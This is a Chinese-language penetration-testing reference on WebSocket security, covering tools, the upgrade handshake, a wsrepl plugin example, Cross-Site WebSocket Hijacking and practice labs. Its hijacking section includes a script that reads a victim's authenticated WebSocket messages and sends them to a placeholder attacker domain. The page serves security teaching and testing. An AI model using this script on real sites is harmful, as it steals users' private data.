Web Sockets
WebSocket 是一种通信协议,可在单个、长寿命的连接上提供全双工通信通道。这使得客户端(通常是 Web 浏览器)与服务器之间能够通过持久连接进行实时的双向通信。WebSockets 常用于需要频繁、低延迟更新的 Web 应用程序,例如在线聊天、在线游戏、实时通知和金融交易平台。
摘要 (Summary)
- 工具 (#tools)
- 方法论 (#methodology)
- 跨站 WebSocket 劫持 (Cross-Site WebSocket Hijacking, CSWSH)
- 实验环境 (Labs)
- 参考资料 (#references)
工具 (Tools)
- doyensec/wsrepl - 用于渗透测试的 WebSocket REPL 工具。
- mfowl/ws-harness.py - 用于 WebSocket 数据注入的脚本。
- PortSwigger/websocket-turbo-intruder - 使用自定义 Python 代码对 WebSockets 进行模糊测试(Fuzz)。
- snyk/socketsleuth - 为 Burp Suite 增加针对基于 WebSocket 的应用进行渗透测试功能的插件。
方法论 (Methodology)
Web Socket 协议 (Web Socket Protocol)
WebSockets 以普通的 HTTP/1.1 请求开始,然后通过“升级”连接来使用 WebSocket 协议。
客户端发送一个精心构造的带有特定请求头的 HTTP 请求,表明其想要切换到 WebSocket 协议:
GET /chat HTTP/1.1
Host: example.com:80
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
如果服务器接受请求,它将以 HTTP 101 Switching Protocols 响应进行回复:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
SocketIO
Socket.IO 是一个 JavaScript 库(包含客户端和服务器端),它在 WebSockets 之上提供了更高层级的抽象,旨在使实时通信在跨浏览器和环境下更容易、更可靠。
使用 wsrepl
wsrepl 是由 Doyensec 开发的工具,旨在简化对基于 WebSocket 的应用的审计。它提供了一个交互式的 REPL 界面,用户友好且易于自动化。该工具是在一个 Web 应用高度依赖 WebSockets 进行软实时通信的客户端评估项目中开发的。
wsrepl 旨在平衡交互式 REPL 体验与自动化需求。它采用 Python 的 TUI 框架 Textual 构建,并可与 curl 参数互操作,使得从 Burp 中的 Upgrade 请求切换到 wsrepl 变得轻而易举。它还能根据 RFC 6455 协议提供全透明的 WebSocket 操纵码(Opcodes)信息,并具备断线自动重连功能。
此外,wsrepl 简化了向 WebSocket 自动化的过渡过程。用户只需编写一个 Python 插件即可。其插件系统设计灵活,允许用户定义在 WebSocket 生命周期各阶段(初始化、消息已发送、收到消息等)执行的钩子函数 (Hooks)。
from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage
import json
import requests
class Demo(Plugin):
def init(self):
token = requests.get("https://example.com/uuid").json()["uuid"]
self.messages = [
json.dumps({
"auth": "session",
"sessionId": token
})
]
async def on_message_sent(self, message: WSMessage) -> None:
original = message.msg
message.msg = json.dumps({
"type": "message",
"data": {
"text": original
}
})
message.short = original
message.long = message.msg
async def on_message_received(self, message: WSMessage) -> None:
original = message.msg
try:
message.short = json.loads(original)["data"]["text"]
except:
message.short = "错误:无法解析消息"
message.long = original
使用 ws-harness.py
启动 ws-harness 监听某个 WebSocket 端点,并指定发送的消息模板。
消息内容中应包含 [FUZZ] 关键字。
随后你可以使用任何安全工具针对新创建的 Web 服务(充当代理,并在发送消息时实时篡改 WebSocket 中的内容)进行攻击。
跨站 WebSocket 劫持 (CSWSH)
如果 WebSocket 握手阶段没有使用 CSRF 令牌或随机数(Nonce)进行适当保护,则可以利用受害者已认证的 WebSocket,在攻击者控制的站点上发起攻击,因为浏览器会自动发送 Cookie。这种攻击被称为跨站 WebSocket 劫持 (CSWSH)。
攻击示例代码(托管在攻击者的服务器上),该代码将从 WebSocket 接收到的数据外带给攻击者:
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
ws.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://攻击者域名.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("发送给服务器的一些文本");
</script>
你需要根据实际情况调整代码。例如,如果你的 Web 应用在握手请求中使用了 Sec-WebSocket-Protocol 请求头,你需要在 WebSocket 构造函数调用中添加该值作为第二个参数,以包含该请求头。
实验环境 (Labs)
- PortSwigger - 篡改 WebSocket 消息以利用漏洞
- PortSwigger - 跨站 WebSocket 劫持
- PortSwigger - 篡改 WebSocket 握手以利用漏洞
- Root Me - Web Socket - 零防御实战
参考资料 (References)
- 利用 socketio 进行跨站 WebSocket 劫持 - Jimmy Li - 2020年8月17日
- 黑掉 Web Sockets:欢迎使用各类 Web 渗透测试工具 - Michael Fowl - 2019年3月5日
- 利用 WebSockets 进行黑客攻击 - Mike Shema, Sergey Shekyan, Vaagn Toukharian - 2012年9月20日
- 微型 WebSocket CTF - Snowscan - 2020年1月27日
- 利用 wsrepl 简化 WebSocket 渗透测试 - Andrez Konstantinov - 2023年7月18日
- 测试 WebSocket 安全漏洞 - PortSwigger - 2019年9月28日
- WebSocket 攻击指南 - HackTricks - 2024年7月19日